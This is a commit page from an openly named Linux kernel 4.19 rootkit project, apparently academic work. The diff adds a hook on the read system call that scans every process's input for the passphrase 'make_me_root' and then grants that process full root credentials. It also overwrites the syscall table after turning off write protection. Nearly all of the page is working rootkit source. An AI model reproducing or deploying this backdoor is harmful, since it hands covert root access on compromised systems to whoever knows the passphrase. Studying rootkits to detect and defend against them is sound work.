linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit bea2d60836c7cbc63d62d9d14bd6fa7aaf786a2b
parent f0f369b9d838670901accb28c0ab7d65f5caa4b9
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 29 Nov 2020 17:23:07 +0100

Merge branch 'master' into feat/hidepid

Diffstat:
Msrc/backdoor.c | 9++++++++-
Asrc/creds.c | 34++++++++++++++++++++++++++++++++++
Asrc/creds.h | 2++
Msrc/hook.c | 13++++++++++++-
Asrc/read.c | 144+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/read.h | 23+++++++++++++++++++++++
6 files changed, 223 insertions(+), 2 deletions(-)

diff --git a/src/backdoor.c b/src/backdoor.c @@ -1,4 +1,5 @@ #include <linux/tty.h> +#include <linux/delay.h> #include "common.h" #include "backdoor.h" @@ -53,10 +54,16 @@ unbackdoor(void) } if (sys_read) { - while (atomic_read(&read_count) > 0); disable_protection(); sys_calls[__NR_read] = (void *)sys_read; enable_protection(); + + int cur; + + while ((cur = atomic_read(&read_count)) > 0) { + DEBUG_INFO("Waiting for %d tasks", cur); + msleep(250); + } } } diff --git a/src/creds.c b/src/creds.c @@ -0,0 +1,33 @@ +#include <linux/cred.h> + +#include "creds.h" + +void +make_root(void) +{ + struct cred *new; + + if(!(new = prepare_creds())) + return; + + kuid_t root_u = make_kuid(new->user_ns, 0); + kgid_t root_g = make_kgid(new->user_ns, 0); + + //Effective and real UID + new->euid = root_u; + new->uid = root_u; + + //Effective and real GID + new->egid = root_g; + new->gid = root_g; + + //Saved UID and GID + new->suid = root_u; + new->sgid = root_g; + + //VFS-Ops UID and GID + new->fsuid = root_u; + new->fsgid = root_g; + + commit_creds(new); +} +\ No newline at end of file diff --git a/src/creds.h b/src/creds.h @@ -0,0 +1,2 @@ + +void make_root(void); diff --git a/src/hook.c b/src/hook.c @@ -12,6 +12,7 @@ #include "filehide.h" #include "backdoor.h" #include "hidepid.h" +#include "read.h" extern rootkit_t rootkit; @@ -96,7 +97,17 @@ enable_protection(void) asmlinkage ssize_t g7_read(const struct pt_regs *pt_regs) { - return sys_read(pt_regs); + atomic_inc(&read_count); + long ret = sys_read(pt_regs); + + //Just like the SystemV-CC (ignoring fd) + char *buf = (char *)pt_regs->si; + size_t count = pt_regs->dx; + + handle_pid(current->pid, buf, count); + + atomic_dec(&read_count); + return ret; } // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c diff --git a/src/read.c b/src/read.c @@ -0,0 +1,143 @@ +#include <linux/hashtable.h> +#include <linux/kernel.h> +#include <linux/slab.h> + +#include "read.h" +#include "common.h" +#include "hook.h" +#include "creds.h" + +DEFINE_HASHTABLE(pid_ht, 8); //2^8 buckets _should_ keep collisions low + +static const char *accept = "makerot_"; + + +//Using strspn allows us to only read inputs that include valid characters +static int +is_valid(char *buf, size_t size) +{ + //Small performance optimization when only reading one char + //Avoids strspn + if(size == 1) { + if((buf[0] >= 'a' && buf[0] <= 'z') || buf[0] == '_') { + return strspn(buf, accept) > 0; + } + + return 0; + } + + return strspn(buf, accept) > 0; +} + +static void +add_entry(pid_t key) +{ + struct pid_entry *cur; + struct pid_entry *new = kzalloc(sizeof(struct pid_entry), GFP_KERNEL); + new->pid = key; + new->str = kzalloc(MAX_BUF, GFP_KERNEL); + new->capacity = MAX_BUF; + new->iter = 0; + + + int found = 0; + hash_for_each_possible(pid_ht, cur, hlist, key) + if(cur->pid == key) + found = 1; + + if(!found) + hash_add(pid_ht, &new->hlist, key); +} + +static void +remove_entry(pid_t key) +{ + struct pid_entry *cur; + + hash_for_each_possible(pid_ht, cur, hlist, key) { + if(cur->pid == key) { + kfree(cur->str); + hash_del(&cur->hlist); + kfree(cur); + } + } +} + +static struct pid_entry * +get_entry(pid_t key) +{ + struct pid_entry *cur; + + hash_for_each_possible(pid_ht, cur, hlist, key) + if(cur->pid == key) + return cur; + + return NULL; +} + +/** + * The idea here is to fill up our buffer as much as we can + * Should we reach the maximum capacity, we first of all + * compare what we read so far; if it's a match, grant root + * Otherwise, we can safely move the last 11 bytes to the start + * (as the worst case is reading 'make_me_roo', which + * is 11 characters long) + * This means we need to offset str with (23 - 11) = 12 = SHIFT_OFF + **/ +static void +handle_compare(char *buf, pid_t pid, size_t size) +{ + struct pid_entry *entry; + entry = get_entry(pid); + + int i = 0; + + if(entry) { + fill: + while(i < size && entry->capacity > 0) { + entry->str[entry->iter] = buf[i]; + entry->capacity--; + i++; + entry->iter++; + } + + if(strnstr(entry->str, PASSPHRASE, MAX_BUF)) { + make_root(); + return; + } + + if(entry->capacity == 0) { + memmove(entry->str, (entry->str + SHIFT_OFF), SHIFT_OFF); + entry->capacity = entry->iter = SHIFT_OFF; + + goto fill; + } + + } + + if(strstr(entry->str, PASSPHRASE)) + make_root(); +} + +void +handle_pid(pid_t pid, __user char *buf, size_t size) +{ + char *str = kzalloc(size, GFP_KERNEL); + copy_from_user(str, buf, size); + + //Early return on exact match, avoiding more expensive operations + if(strnstr(str, PASSPHRASE, size)) { + make_root(); + return; + } + + if(is_valid(str, size)) { + add_entry(pid); + handle_compare(buf, pid, size); + } else { + //Throw out hashtable entries on invalid input + remove_entry(pid); + } + + kfree(str); +} +\ No newline at end of file diff --git a/src/read.h b/src/read.h @@ -0,0 +1,22 @@ +#ifndef _GROUP7_READ_H +#define _GROUP7_READ_H + +#define PASSPHRASE "make_me_root" +#define SHIFT_OFF 12 +#define MAX_BUF 23 //We never need to save more than 23 Bytes + + +void handle_pid(pid_t, __user char *, size_t); +void hook_read(void); +void unhook_read(void); + +struct pid_entry { + pid_t pid; + char *str; + int capacity; + int iter; //Keep track of where we left off while filling str + struct hlist_node hlist; +}; + + +#endif//_GROUP7_READ_H +\ No newline at end of file